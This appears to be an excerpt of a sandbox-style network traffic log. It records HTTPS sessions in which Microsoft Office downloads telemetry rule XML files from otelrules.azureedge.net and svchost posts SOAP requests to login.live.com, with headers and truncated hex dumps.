2024-11-07 22:47:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:36 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 32d5e889-e01e-0099-1f00-2dda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224736Z-16547b76f7fcrtpchC1DFW52e800000008sg00000000p186 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:36 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49818	13.107.246.45	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:36 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:36 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 26055832-201e-0096-545c-2eace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224736Z-15869dbbcc65c582hC1DFWgpv400000002kg000000001zca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:36 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:36 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:36 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: ac6bbd40-501e-007b-3e0c-2d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224736Z-16547b76f7fq9mcrhC1DFWq15w00000008ng00000000xbwm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:36 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:36 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:36 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: d4ebd703-e01e-0085-25f6-2ec311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224736Z-17df447cdb5t94hvhC1DFWw978000000058000000000edss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:36 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49822	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:37 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-07 22:47:37 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-07 22:47:38 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 07 Nov 2024 22:46:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C525_BL2 x-ms-request-id: 15108874-ca4e-48c5-9cec-3230aef23f08 PPServer: PPV: 30 H: BL02EPF0001D8E0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 07 Nov 2024 22:47:37 GMT Connection: close Content-Length: 11412
2024-11-07 22:47:38 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49821	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:37 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-07 22:47:37 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-07 22:47:37 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 07 Nov 2024 22:46:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 9ec1b260-1d0d-47b0-98c6-7db2d01305ca PPServer: PPV: 30 H: SN1PEPF0003FB51 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 07 Nov 2024 22:47:36 GMT Connection: close Content-Length: 1918
2024-11-07 22:47:37 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:37 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:37 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 100aec20-201e-006e-1215-2dbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224737Z-16547b76f7f9bs6dhC1DFWt3rg00000008n000000000yfs7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 22:47:37 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:37 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:37 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8dd7d181-c01e-0066-495f-2ea1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224737Z-15869dbbcc6bdtw9hC1DFW9m4s00000000ug00000000dcf8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:37 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:37 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 5b784c2b-c01e-0046-3348-312db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224737Z-15869dbbcc62nmdhhC1DFWg2r4000000023000000000697d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 22:47:37 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:37 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:37 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: a6b44ea6-e01e-001f-1d33-2f1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224737Z-15869dbbcc6ss7fxhC1DFWq6vs000000023000000000ca0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:37 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:38 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:38 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: d07841a0-401e-0064-490f-2d54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224738Z-16547b76f7f9rdn9hC1DFWfk7s00000008vg000000000uny x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
